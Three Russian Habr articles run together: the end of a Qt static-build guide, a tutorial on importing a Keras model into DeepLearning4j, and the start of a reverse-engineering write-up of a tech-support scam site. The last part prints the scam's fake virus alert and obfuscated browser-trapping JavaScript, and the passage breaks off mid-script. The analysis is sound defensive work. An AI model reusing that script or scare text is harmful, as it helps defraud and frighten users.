-no-style-plastique ^
-no-script -no-scripttools -no-declarative ^
-static -platform win32-g++
mingw32-make`
Внимание выше перечислены библиотеки которые будут исключены из статической сборки, так что если Вам как и мне будет необходима например поддержка Qt3, то удалите *-no-qt3support*, и так все что Вам нужно, или добавте то что не нужно, но будьте аккуратны.
3. Всё. Сохраняем и запускаем наш .bat и идем пить кофе, библиотеки собираются теперь без нас.
После всего проделанного наши проекты будут собираться в режиме **release** полностью статично и можно скорее кодить, скидывать на флешку и нести показать все это нашему другу!
Отдельное спасибо за наставления и поддержку [michurin](https://habrahabr.ru/users/michurin/)
И не судите строго, надеюсь это кому-нибудь поможет, ведь сам искал это ну очень очень долго… | https://habr.com/ru/post/137233/ | null | ru | null |
# Если у Вас нет Питона, но есть Керас-модель и Джава
Всем привет! В построении ML-моделей Python сегодня занимает лидирующее положение и пользуется широкой популярностью сообщества Data Science специалистов [[1](https://www.geeksforgeeks.org/top-5-best-programming-languages-for-artificial-intelligence-field/)].
Также, как и большинство разработчиков, Python привлекает нас своей простотой и лаконичным синтаксисом. Мы используем его для решения задач машинного обучения при помощи искусственных нейронных сетей. Однако, на практике, язык продуктовой разработки не всегда Python и это требует от нас решения дополнительных интеграционных задач.
В этой статье расскажу о тех решениях, к которым мы пришли, когда нам потребовалось связать Keras-модель языка Python с Java.
Чему уделим внимание:
* Особенностям связки Keras модели и Java;
* Подготовке к работе с фрейворком DeepLearning4j (сокращенно DL4J);
* Импорту Keras-модели в DL4J (осторожно, раздел содержит множественные инсайты) — как регистрировать слои, какие есть ограничения у модуля импорта, как проверить результаты своих трудов.
Зачем читать?
* Чтобы сэкономить время на старте, если перед вами будет стоять задача похожей интеграции;
* Чтобы узнать, подходит ли вам наше решение и можете ли вы переиспользовать наш опыт.
Интегральная характеристика по значимости фреймворков глубокого обучения [[2](https://towardsdatascience.com/deep-learning-framework-power-scores-2018-23607ddf297a)].
Сводку по наиболее популярным фреймворкам глубокого обучения можно посмотреть здесь [[3](https://en.wikipedia.org/wiki/Comparison_of_deep-learning_software)] и здесь [[4](https://geekflare.com/ai-frameworks/)].
Как видно, большинство этих фреймворков завязаны на Python и C++: для ускорения базовых и высоконагруженных операций используют C++ в качестве ядра, а Python в качестве интерфейса взаимодействия для ускорения разработки.
В действительности же, множество языков разработки гораздо обширнее. Лидером в продуктовой разработке для крупных предприятий и организаций является Java. Некоторые популярные фреймворки для нейронных сетей имеют порты для Java в виде JNI/JNA биндингов, но в таком случае возникает необходимость в сборке проекта под каждую архитектуру и преимущество Java в вопросе кроссплатформенности размывается. Этот нюанс может быть крайне важным в тиражируемых решениях.
Другой альтернативный подход — использование Jython для компиляции в байт-код Java; но и здесь есть недостаток — поддержка только 2-ой версии Python, а также ограниченность по возможности использования сторонних Python-библиотек.
Для упрощения разработки нейросетевых решений на Java развивается фреймворк DeepLearning4j (сокращенно DL4J). DL4 в дополнение к Java API предлагает набор предобученных моделей [[5](https://deeplearning4j.org/docs/latest/deeplearning4j-zoo-models)]. В целом, этому инструменту по скорости развития сложно конкурировать с TensorFlow. TensorFlow выигрывает у DL4J более подробной документацией и количеством примеров, техническими возможностями, размерами сообщества, быстрой динамикой развития. Тем не менее, тренд, которого придерживается Skymind, вполне перспективен. Весомых конкурентов на Java у этого инструмента пока не видно.
Библиотека DL4J одна из немногих (если не единственная) дает возможность импорта Keras-моделей, расширяется по функционалу привычными для Keras слоями [[6](https://deeplearning4j.org/docs/latest/keras-import-supported-features)]. В библиотеке DL4J содержится каталог с примерами реализации нейросетевых ML-моделей (dl4j-example). В нашем случае тонкости реализации этих моделей на Java не так интересны. Более подробное внимание будет уделено импорту обученной Keras/TF модели в Java методами DL4J.
Начало работы
=============
Перед тем как приступить к работе требуется установить необходимые программы:
1. Java версии 1.7 (64-битной версии) и выше.
2. Система сборки проектов Apache Maven.
3. IDE на выбор: Intellij IDEA, Eclipse, Netbeans. Разработчики рекомендуют первый вариант, да и к тому же имеющиеся обучающие примеры рассмотрены на нем.
4. Git (для клонирования проекта на свой ПК).
Подробное описание с примером запуска можно посмотреть здесь [[7](https://deeplearning4j.org/docs/latest/deeplearning4j-quickstart)] или в видео [[8](https://www.youtube.com/watch?v=N5sQcOOtehY)].
Для импорта модели DL4J-разработчики предлагают воспользоваться модулем импорта *KerasModelImport* (появился в октябре 2016 года). Функционал модуля поддерживает обе архитектуры моделей из Keras — это Sequential (аналог в java — класс MultiLayerNetwork) и Functional (аналог в java — класс ComputationGraph). Модель импортируется либо целиком в формате HDF5, либо 2-мя отдельными файлами — веса модели с расширением h5 и json-файла, содержащего архитектуру нейросети.
Для быстрого старта разработчики DL4J подготовили пошаговый разбор простого примера на наборе данных ирисов Фишера для модели типа Sequential [[9](https://deeplearning4j.org/docs/latest/keras-import-overview)]. Еще один обучающий пример рассмотрен с позиции импорта моделей двумя способами (1: целиком в формате HDF5; 2: отдельными файлами — веса модели (расширение h5) и архитектура (расширение json)) с последующим сравнением результатов Python и Java моделей [[10](https://www.youtube.com/watch?v=Cran8wsZLN4)]. На этом рассмотрение практических возможностей модуля импорта заканчивается.
Также существует TF на Java, но он находится в экспериментальном состоянии и разработчики не дают никаких гарантий его стабильной работы [[11](https://www.tensorflow.org/install/lang_java)]. Здесь присутствуют проблемы с версионностью, а также TF на Java имеет неполный API — именно поэтому этот вариант здесь не будет рассмотрен.
Особенности исходной Keras/TF модели:
=====================================
Ипортирование нейронной сети простой архитектуры сложностей не вызывает. Подробнее в коде разберем пример интеграции нейронной сети с архитектурой посложнее.
Не следует вдаваться в практические аспекты этой модели, она показательна с точки зрения учета слоев (в частности регистрации Lambda-слоев), некоторых тонкостей и ограничений модуля импорта, а также DL4J в целом. На практике отмеченные нюансы могут потребовать корректировок архитектуры сети, либо вовсе отказа от подхода запуска модели через DL4J.
Характеристики модели:
**1.** Тип модели — Functional (сеть с ветвлением);
**2.** Параметры обучения (размер батча, количество эпох) выбраны небольшими: размер батча — 100, количество эпох — 10, шагов на эпоху — 10;
**3.** 13 слоев, сводка по слоям приведена на рисунке:
**Краткое описание слоев**1. input\_1 — входной слой, принимает на вход 2-мерный тензор (представляется матрицей);
2. lambda\_1 — пользовательский слой, в нашем случае делает дозаполнение (padding в TF) тензора одинаковыми численными значениями;
3. embedding\_1 — строит Embedding (векторное представление) для входной последовательности текстовых данных (преобразует 2-D тензор в 3-D);
4. conv1d\_1 — 1-D сверточный слой;
5. lstm\_2 — LSTM слой (идет после embedding\_1 (№3) слоя);
6. lstm\_1 — LSTM слой (идет после conv1d (№4) слоя);
7. lambda\_2 — пользовательский слой, где выполняется усечение тензора после lstm\_2 (№5) слоя (операция, противоположная padding в lambda\_1 (№2) слое);
8. lambda\_3 — пользовательский слой, где выполняется усечение тензора после lstm\_1 (№6) и conv1d\_1 (№4) слоев (операция, противоположная padding в lambda\_1 (№2) слое);
9. concatenate\_1 — склеивание усеченных (№7) и (№8) слоев;
10. dense\_1 — полносвязный слой из 8 нейронов и экспоненциальной линейной функцией активации «elu»;
11. batch\_normalization\_1 — слой батч-нормализации;
12. dense\_2 — полносвязный слой из 1 нейрона и сигмоидной функцией активации «sigmoid»;
13. lambda\_4 — пользовательский слой, где выполняется сжатие предыдущего слоя (squeeze в TF).
**4.** Функция потерь — binary\_crossentropy
**5.** Метрика качества модели — гармоническое среднее (F-мера)
В нашем случае вопрос метрики качества не так важен, как корректность импорта. Корректность импорта определим по совпадению результатов в Python и Java NN-моделях, работающих в режиме Inference.
Импорт Keras-модели в DL4J:
===========================
Используемые версии: Tensorflow 1.5.0 и Keras 2.2.5. В нашем случае модель из Python была выгружена целиком HDF5 файлом.
```
# saving model
model1.save('model1_functional.h5')
```
При импорте модели в DL4J в модуле импорта не предусмотрены API-методы для передачи дополнительных параметров: название модуля tensorflow (откуда импортировались функции при построении модели).
Вообще говоря, DL4J работает только с функциями Keras, исчерпывающий перечень приведен в разделе Keras Import [[6](https://deeplearning4j.org/docs/latest/keras-import-supported-features)], поэтому если модель создавалась на Keras с привлечением методов из TF (как в нашем случае), модуль импорта не сможет их идентифицировать.
### Общие рекомендации по импорту модели
Очевидно, что работа с Keras-моделью подразумевает ее неоднократное обучение. С этой целью для экономии времени были выставлены параметры на обучение (1 эпоха (epoch) и 1 шаг на эпоху (steps\_per\_epoch).
При первом импорте модели, в частности, с уникальными пользовательскими слоями и редкими комбинациями слоев, успех маловероятен. Поэтому рекомендуется проводить процесс импорта итерационно: уменьшать количество слоев Keras-модели до тех пор, пока не получится импортировать и запустить модель в Java без ошибок. Далее последовательно добавлять по одному слою в Keras-модель и импортировать полученную модель в Java, разрешая возникающие ошибки.
### Использование функции потерь от TF
В доказательство того, что при импорте в Java функция потерь обученной модели в обязательном порядке должна быть от Keras, воспользуемся log\_loss от tensorflow (как самой похожей на custom\_loss-функцию). В консоль получим следующую ошибку:
```
Exception in thread "main"
org.deeplearning4j.nn.modelimport.keras.exceptions.UnsupportedKerasConfigurationException: Unknown Keras loss function log_loss.
```
### Замена методов TF на Keras
В нашем случае функции из модуля TF используются 2 раза и во всех случаях они встречаются только в lambda-слоях.
Слои lambda — это пользовательские слои, которые используются для добавления произвольной функции.
В нашей модели заложено всего 4 lambda-слоя. Дело в том, что в Java необходимо регистрировать эти lambda-слои вручную через KerasLayer.registerLambdaLayer (в противном случае получим ошибку [[12](https://github.com/eclipse/deeplearning4j/blob/master/deeplearning4j/deeplearning4j-modelimport/src/main/java/org/deeplearning4j/nn/modelimport/keras/utils/KerasLayerUtils.java#L307)]). При этом функция, определяемая внутри lambda слоя, должна быть функцией из соответствующих Java библиотек. В Java нету примеров регистрации этих слоев, а также исчерпывающей документации для этого; пример — здесь [[13](https://deeplearning4j.org/api/latest/org/deeplearning4j/nn/modelimport/keras/KerasLayer.html#registerLambdaLayer-java.lang.String-org.deeplearning4j.nn.conf.layers.samediff.SameDiffLambdaLayer-)]. Общие соображения были заимствованы из примеров [[14](https://github.com/eclipse/deeplearning4j/blob/master/deeplearning4j/deeplearning4j-nn/src/main/java/org/deeplearning4j/nn/conf/layers/samediff/SameDiffLambdaLayer.java#L44), [15](https://github.com/eclipse/deeplearning4j/blob/dac07c5adc40ed369abe494377afb637d40f980a/deeplearning4j/deeplearning4j-modelimport/src/test/java/org/deeplearning4j/nn/modelimport/keras/e2e/KerasLambdaTest.java#L51-L57)].
Последовательно рассмотрим регистрацию всех lambda-слоев модели в Java:
1) Lambda слой для добавления к тензору(матрице) констант конечное количество раз вдоль заданных направлений (в нашем случае справа и слева):
Вход данного слоя соединен со входом модели.
1.1) Python-слой:
```
padding = keras.layers.Lambda(lambda x: tf.pad(x, paddings=[[0, 0], [10, 10]],
constant_values=1))(embedding)
```
Для наглядности работы функции этого слоя, численные значения в python-слои подставим явно.
**Таблица с примером произвольного тензора 2x2**
| | |
| --- | --- |
| Было 2x2 | Стало 2x22 |
| [[**1**,**2**],
[**3**,**4**]] | [[37, 37, 37, 37, 37, 37, 37, 37, 37, 37, **1**, **2**, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37],
[37, 37, 37, 37, 37, 37, 37, 37, 37, 37, **3**, **4**, 37, 37, 37, 37, 37, 37, 37, 37, 37, 37]] |
1.2) Java-слой:
```
KerasLayer.registerLambdaLayer("lambda_1", new SameDiffLambdaLayer()
{
@Override
public SDVariable defineLayer(SameDiff sameDiff, SDVariable sdVariable)
{
return sameDiff.nn().pad(sdVariable, new int[][]{ { 0, 0 }, { 10, 10 }}, 1);
}
@Override
public InputType getOutputType(int layerIndex, InputType inputType)
{
return InputType.feedForward(20);
}
});
```
Во всех регистрируемых lambda слоях в Java происходит переопределение 2-х функций:
1-ая функция «definelayer» отвечает за используемый метод (совсем не очевидный факт: этот метод может использоваться только из-под nn() backend); getOutputType отвечает за выход регистрируемого слоя, аргумент — числовой параметр (здесь 20, а вообще допускается любое целочисленное значение). Выглядит неконсистентно, но работает так.
2) Lambda слой для усечения тензора (матрицы) вдоль заданных направлений (в нашем случае справа и слева):
В данном случае на вход lambda слоя поступает LSTM слой.
2.1) Python-слой:
```
slicing_lstm = keras.layers.Lambda(lambda x: x[:, 10:-10])(lstm)
```
**Таблица с примером произвольного тензора 2x22x5**
| | |
| --- | --- |
| Было 2x22x5 | Стало 2x2x5 |
| [[[1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [**1**,**2**,**3**,**4**,**5**], [**1**,**2**,**3**,**4**,**5**], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5]],
[[1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [**1**,**2**,**3**,**4**,**5**], [**1**,**2**,**3**,**4**,**5**], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5], [1,2,3,4,5]]] | [[[**1**,**2**,**3**,**4**,**5**], [**1**,**2**,**3**,**4**,**5**]],
[[**1**,**2**,**3**,**4**,**5**], [**1**,**2**,**3**,**4**,**5**]]] |
2.2) Java-слой:
```
KerasLayer.registerLambdaLayer("lambda_2", new SameDiffLambdaLayer()
{
@Override
public SDVariable defineLayer(SameDiff sameDiff, SDVariable sdVariable)
{
return sameDiff.stridedSlice(sdVariable, new int[]{ 0, 0, 10 }, new int[]{ (int)sdVariable.getShape()[0], (int)sdVariable.getShape()[1], (int)sdVariable.getShape()[2]-10}, new int[]{ 1, 1, 1 });
}
@Override
public InputType getOutputType(int layerIndex, InputType inputType)
{
return InputType.recurrent(60);
}
});
```
В случае этого слоя параметр InputType сменился с feedforward(20) на recurrent(60). В аргументе recurrent число может быть любым целочисленным (ненулевым), но его сумма с аргументом recurrent следующего lambda слоя должны давать 160 (т. е. в следующем слое должно быть аргумент должен быть равен 100). Число 160 обусловлено тем, что на вход concatenate\_1 слоя должен поступить тензор с размерностью (None, None, 160).
Первые 2 аргумента — переменные, зависящие от размера входной строки.
3) Lambda слой для усечения тензора (матрицы) вдоль заданных направлений (в нашем случае справа и слева):
На вход этого слоя поступает LSTM слой, перед которым находится conv1\_d слой
3.1) Python-слой:
```
slicing_convolution = keras.layers.Lambda(lambda x: x[:,10:-10])(lstm_conv)
```
Это операция полностью идентична операции в пункте 2.1
3.2) Java-слой:
```
KerasLayer.registerLambdaLayer("lambda_3", new SameDiffLambdaLayer()
{
@Override
public SDVariable defineLayer(SameDiff sameDiff, SDVariable sdVariable)
{
return sameDiff.stridedSlice(sdVariable, new int[]{ 0, 0, 10 }, new int[]{ (int)sdVariable.getShape()[0], (int)sdVariable.getShape()[1], (int)sdVariable.getShape()[2]-10}, new int[]{ 1, 1, 1 });
}
@Override
public InputType getOutputType(int layerIndex, InputType inputType)
{
return InputType.recurrent(100);
}
});
```
Этот lambda слой повторяет предыдущий lambda слой за исключением параметра recurrent(100). Почему взято «100» отмечено в описании предыдущего слоя.
В пунктах 2 и 3 lambda-слои находятся после LSTM слоев, поэтому используется тип recurrent. Но если бы перед lambda-слоем был не LSTM, а conv1d\_1, то по-прежнему необходимо устанавливать recurrent (выглядит неконсистентно, но работает так).
4) Lambda слой для сжатия предыдущего слоя:
На вход этого слоя поступает полносвязный слой.
4.1) Python-слой:
```
squeeze = keras.layers.Lambda(lambda x: tf.squeeze(
x, axis=-1))(dense)
```
**Таблица с примером произвольного тензора 2x4x1**
| | |
| --- | --- |
| Было 2x4x1 | Стало 2x4 |
| [[**[1], [2], [3], [4]]**,
[**[1], [2], [3], [4]**]] | [[**1, 2, 3, 4**],
[**1, 2, 3, 4**]] |
4.2) Java-слой:
```
KerasLayer.registerLambdaLayer("lambda_4", new SameDiffLambdaLayer()
{
@Override
public SDVariable defineLayer(SameDiff sameDiff, SDVariable sdVariable)
{
return sameDiff.squeeze(sdVariable, -1);
}
@Override
public InputType getOutputType(int layerIndex, InputType inputType)
{
return InputType.feedForward(15);
}
});
```
На вход этого слоя поступает полносвязный слой, InputType для этого слоя feedForward(15), параметр 15 не влияет на модель (допускается любое целочисленное значение).
### Загрузка импортируемой модели
Модель загружается через модуль ComputationGraph:
```
ComputationGraph model = org.deeplearning4j.nn.modelimport.keras.KerasModelImport.importKerasModelAndWeights("/home/user/Models/model1_functional.h5");
```
### Вывод данных в консоль Java
В Java, в частности в DL4J тензоры записываются в виде массивов из высокопроизводительной библиотеки Nd4j, которую можно считать аналогом библиотеки Numpy в Python.
Допустим, наша входная строка состоит из 4-х символов. Символы представляются в виде целых чисел (как индексы), например, согласно некоторой нумерации. Для них создается массив соответствующей размерности (4).
Например, мы имеем 4 закодированных индексами символа: 1, 3, 4, 8.
Код в Java:
```
INDArray myArray = Nd4j.zeros(1,4); // one row 4 column array
myArray.putScalar(0,0,1);
myArray.putScalar(0,1,3);
myArray.putScalar(0,2,4);
myArray.putScalar(0,3,8);
INDArray output = model.outputSingle(myArray);
System.out.println(output);
```
В консоль будут выведены вероятности для каждого входного элемента.
### Импортированные модели
Архитектура исходной нейронной сети и весовые коэффициенты импортируются без ошибок. Обе нейросетевых модели Keras и Java в режиме Inference дают согласие результатов.
Python-модель:
Java-модель:
В действительности же, с импортом моделей все не так просто. Ниже кратко будут отмечены некоторые моменты, которые в отдельных случаях могут быть критичными.
1) Слой батч-нормализации не работает после реккурентных слоев. По этому вопросу на GitHub открыто Issue почти год [[16](https://github.com/eclipse/deeplearning4j/issues/6697)]. К примеру, если добавить этот слой к модели (после слоя контактенации), то получим следующую ошибку:
```
Exception in thread "main" java.lang.IllegalStateException: Invalid input type: Batch norm layer expected input of type CNN, CNN Flat or FF, got InputTypeRecurrent(160) for layer index -1, layer name = batch_normalization_1
```
На практике модель отказывалась работать, ссылаясь на аналогичную ошибку, когда слой батч-нормализации добавлялся после conv1d. После полносвязного слоя добавление работает без нареканий.
2) После полносвязного слоя установка слоя Flatten приводит к ошибке. Похожая ошибка упомянута на Stackoverflow [[17](https://stackoverflow.com/questions/55753493/problem-opening-a-keras-model-in-java-with-deeplearning4j-https-deeplearning4)]. За полгода никакой обратной связи.
Определенно это далеко не все ограничения, с которыми можно встретиться при работе с DL4J.
Итоговые наработки по модели здесь [[18](https://github.com/naumen/javakeras)].
Заключение
==========
В заключении можно отметить, что безболезненно импортировать обученные Keras-модели в DL4J можно только для простых кейсов (разумеется, если у Вас за плечами нет подобного опыта, да и вообще уверенного владения Java).
Чем меньше пользовательских слоев, тем безболезненнее пройдет импорт модели, но если архитектура сети сложна, то придется потратить достаточно много времени на перенесение ее в DL4J.
Документальное сопровождение развиваемого модуля импорта, количество сопутствующих примеров, показалось довольно сыроватым. На каждом этапе возникают новые вопросы — как регистрировать Lambda-слои, осмысленность параметров и т. д.
Учитывая скорость усложнения архитектур нейронных сетей и взаимодействия между слоями, усложнения слоев, DL4J еще предстоит активно развиваться для того, чтобы достичь уровня топовых фреймворков для работы с искусственными нейронными сетями.
В любом случае, ребята достойны уважения за свою работу и хотелось бы видеть продолжение развития этого направления.
**Ссылки**
1. [Top 5 best Programming Languages for Artificial Intelligence field](https://www.geeksforgeeks.org/top-5-best-programming-languages-for-artificial-intelligence-field/)
2. [Deep Learning Framework Power Scores 2018](https://towardsdatascience.com/deep-learning-framework-power-scores-2018-23607ddf297a)
3. [Comparison of deep-learning software](https://en.wikipedia.org/wiki/Comparison_of_deep-learning_software)
4. [Top 9 Frameworks in the World of Artificial Intelligence](https://geekflare.com/ai-frameworks/)
5. [DeepLearning4j. Available models](https://deeplearning4j.org/docs/latest/deeplearning4j-zoo-models)
6. [DeepLearning4j. Keras model import. Supported features.](https://deeplearning4j.org/docs/latest/keras-import-supported-features)
7. [Deeplearning4j. Quickstart](https://deeplearning4j.org/docs/latest/deeplearning4j-quickstart)
8. [Lecture 0: Getting started with DeepLearning4j](https://www.youtube.com/watch?v=N5sQcOOtehY)
9. [Deeplearing4j: Keras model import](https://deeplearning4j.org/docs/latest/keras-import-overview)
10. [Lecture 7 | Keras Model Import](https://www.youtube.com/watch?v=Cran8wsZLN4)
11. [Install TensorFlow for Java](https://www.tensorflow.org/install/lang_java)
12. [Использование Keras слоев](https://github.com/eclipse/deeplearning4j/blob/master/deeplearning4j/deeplearning4j-modelimport/src/main/java/org/deeplearning4j/nn/modelimport/keras/utils/KerasLayerUtils.java#L307)
13. [DeepLearning4j: Class KerasLayer](https://deeplearning4j.org/api/latest/org/deeplearning4j/nn/modelimport/keras/KerasLayer.html#registerLambdaLayer-java.lang.String-org.deeplearning4j.nn.conf.layers.samediff.SameDiffLambdaLayer-)
14. [DeepLearning4j: SameDiffLambdaLayer.java](https://github.com/eclipse/deeplearning4j/blob/master/deeplearning4j/deeplearning4j-nn/src/main/java/org/deeplearning4j/nn/conf/layers/samediff/SameDiffLambdaLayer.java#L44)
15. [DeepLearning4j: KerasLambdaTest.java](https://github.com/eclipse/deeplearning4j/blob/dac07c5adc40ed369abe494377afb637d40f980a/deeplearning4j/deeplearning4j-modelimport/src/test/java/org/deeplearning4j/nn/modelimport/keras/e2e/KerasLambdaTest.java#L51-L57)
16. [DeepLearning4j: BatchNorm with RecurrentInputType](https://github.com/eclipse/deeplearning4j/issues/6697)
17. [StackOverFlow: Problem opening a keras model in java with deeplearning4j (https://deeplearning4j.org/)](https://stackoverflow.com/questions/55753493/problem-opening-a-keras-model-in-java-with-deeplearning4j-https-deeplearning4)
18. [GitHub: Полный код для рассмотренной модели](https://github.com/naumen/javakeras)
19. [Skymind: Comparison of AI Frameworks](https://skymind.ai/wiki/comparison-frameworks-dl4j-tensorflow-pytorch) | https://habr.com/ru/post/475338/ | null | ru | null |
# Реверс-инжиниринг вредоносного мошеннического скрипта
Несколько дней назад я бродил по сети и зашёл на сайт с вредоносной рекламой. Хотя такие рекламные баннеры не редкость, но этому удалось проникнуть через защиту AdBlocker и немедленно перенаправить меня на сайт, который выглядел [так](https://habrastorage.org/web/1db/fe0/62d/1dbfe062d7214a99a2b4ff8bc9b8ecc7.png).
В динамиках громко протрубило, и механический голос известил, что мой компьютер был инфицирован и я потеряю все свои данные, если не позвоню в техподдержку Microsoft. Модальная форма не давала мне уйти с сайта, адресная панель начала разрастаться, и в конце концов браузер завис. Впечатляющее представление!
Конечно, компьютер не был ничем инфицирован. RDN/YahLover.worm, на который вела ссылка с сайта, оказался фикцией, частью инструментария онлайн-мошенников, пытающихся убедить своих жертв в том, что компьютеры инфицированы вирусом и могут быть очищены только в ходе звонка на бесплатную горячую линию. «Сертифицированный Microsoft» специалист по телефону за плату «починит» заражённый компьютер и/или уговорит пользователя установить реальный зловред. На [malwarebytes](https://blog.malwarebytes.com/threat-analysis/2014/11/psa-tech-support-scams-pop-ups-on-the-rise/) есть хорошая подборка таких мошеннических схем, встречающихся в сети.
Поскольку я несколько разбираюсь в компьютерах, то даже не пытался позвонить по горячей линии. Даже если бы я и захотел, то это было бы затруднительно: мошенник забыл указать телефонный номер. Но я всё же ощущал беспокойство: браузер полностью завис, и не исключено, что на сайте был эксплойт для Chrome, через который в мою систему подсадили зловред. Чтобы успокоить себя (и удовлетворить любопытство), я решил изучить внутреннюю схему работы мошеннического сайта.
Определение происхождения сайта
-------------------------------
В данном случае мошенник не парился с регистрацией доменного имени, он перенаправлял своих жертв прямо на IPv4-адрес. К моему удивлению, поиск по географической привязке адреса показал, что сервер находится в США, а не в стране с более свободным интернет-законодательством:
Сайт хостился у DigitalOcean, популярного облачного провайдера. Похоже, даже мошенники покорены мощью Облака! К счастью, у DigitalOcean есть электронный адрес для жалоб, и я связался с ними по поводу этого сайта. На момент написания статьи мне ещё не ответили, но они наверняка примут меры.
Анализ сайта
------------
Уведомив DigitalOcean, я занялся самим сайтом. Мне хотелось убедиться, что мой компьютер не скомпрометирован, к тому же меня терзало любопытство, как же устроен мошеннический сайт.
Сначала я скачал его копию, чтобы исследовать ее в спокойной обстановке. Поскольку у браузеров есть противная привычка отрисовывать и исполнять все сайты, которые они получают, то для скачивания копии пришлось переключиться в `wget`. Удивительно, но это не сработало: прямой вызов `wget` повисал в пустоте. После нескольких попыток я понял, что проблема заключалась в user agent: короткой порции данных, отправляемых серверу HTTP-клиентом, в которых говорится, какое ПО с ним общается. По умолчанию `wget` показывает себя серверу как `Wget/1.19.1`. А что если притвориться Chrome? `wget` позволяет редактировать user agent, попробуем такой вариант:
Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
И сервер прислал в ответ нужные данные. Не уверен, что это было: следствие неудачного анализа или стандартная мера защиты от роботов, но в любом случае любопытно.
У сайта оказалась на удивление простая структура:
```
├── files
│ ├── defender.png
│ ├── fake_close.png
│ └── Texts.mp3
└── index.html
```
`defender.png` — это логотип Microsoft, он придаёт сайту убедительности. `fake_close.png` используется в фоновом сообщении в качестве иконки закрытия. И, как следует из названия, на самом деле не работает:
`Texts.mp3` — аудиофайл, созданный речевым генератором. Он предупреждает об ужасных последствиях ухода с сайта и отказа от звонка в мошенническую службу поддержки. Сначала я предположил, что на сайте использовалась неизвестная браузерная функция генерирования речи, но оказалось, что это простой mp3, заключённый в аудиотег HTML5. Можете [послушать его сами](https://benedikt-bitterli.me/reverse/Texts.mp3).
Ковыряемся в исходном коде
--------------------------
Файл `index.html` начинается так:
```
Security Warning
```
Тут есть несколько интересных моментов. Большая часть кода открыта и хорошо отформатирована. Автор даже оставил полезный комментарий, что код протестирован на Chrome и Firefox. Также автор не хочет, чтобы сайт индексировался поисковиками. Настолько, что дважды добавил метатег `robots`. Наконец, включение jQuery свидетельствует о том, что автор — опытный веб-разработчик, особенно с учётом того, что ни один JS-скрипт на сайте не использует jQuery. Здесь упоминается версия полуторалетней давности.
Далее идёт около 130 строк стандартного HTML и инлайненного CSS, чтобы получилось синее фоновое сообщение с фальшивым окном. Всё самое интересное находится в конце файла. Сначала — отслеживающий скрипт Google Analytics:
```
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1\*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-99222626-1', 'auto');
ga('send', 'pageview');
```
Это лишь предположение, но думаю, что именно так мошенник измеряет количество трафика, пришедшего на сайт, и, возможно, даже конверсию посетителей в телефонные звонки.
Наиболее интересный JS лежит в самом подвале сайта. Он намеренно запутан и, судя по всему, отвечает за поведение сайта. Взгляните:
```
var text = '*************************************************\nInternet Security Alert! Code: 055BCCAC9FEC\n ************************************************* \n\nInternet Security Alert: Your Computer Might Be Infected By Harmful Viruses \nPlease Do Not Shut Down or Reset Your Computer.\n\nThe following data might be compromised if you continue:\n1. Passwords\n2. Browser History\n3. Credit Card Information\n4. Local Hard Disk Files\n\nThese viruses are well known for identity and credit card theft. Further action on this computer or any other device on your network might reveal private information and involve serious risks.\n\n Call Windows Technical Support: (Toll Free)';
var _0x45bf=['\x70\x75\x73\x68\x53\x74\x61\x74\x65','\x6f\x6e\x62\x65\x66\x6f\x72\x65\x75\x6e\x6c\x6f\x61\x64','\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x52\x44\x4e\x2f\x59\x61\x68\x4c\x6f\x76\x65\x72\x2e\x77\x6f\x72\x6d\x21\x30\x35\x35\x42\x43\x43\x41\x43\x39\x46\x45\x43\x20\x49\x6e\x66\x65\x63\x74\x69\x6f\x6e\x0a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0a\x0a','\x72\x65\x74\x75\x72\x6e\x56\x61\x6c\x75\x65','\x6f\x6e\x6c\x6f\x61\x64','\x74\x6f\x53\x74\x72\x69\x6e\x67'];(function(_0x5954e7,_0x10ca6d){var _0x4d8f25=function(_0x3abcd2){while(--_0x3abcd2){_0x5954e7['\x70\x75\x73\x68'](_0x5954e7['\x73\x68\x69\x66\x74']());}};_0x4d8f25(++_0x10ca6d);}(_0x45bf,0x145));var _0xf45b=function(_0xc97b12,_0x180ff3){_0xc97b12=_0xc97b12-0x0;var _0x2933ba=_0x45bf[_0xc97b12];return _0x2933ba;};function ch(_0x454dc6){window[_0xf45b('0x0')]=function(_0x4a502f){var _0x2e1ee7=_0xf45b('0x1')+_0x454dc6;_0x4a502f[_0xf45b('0x2')]=_0x2e1ee7;return 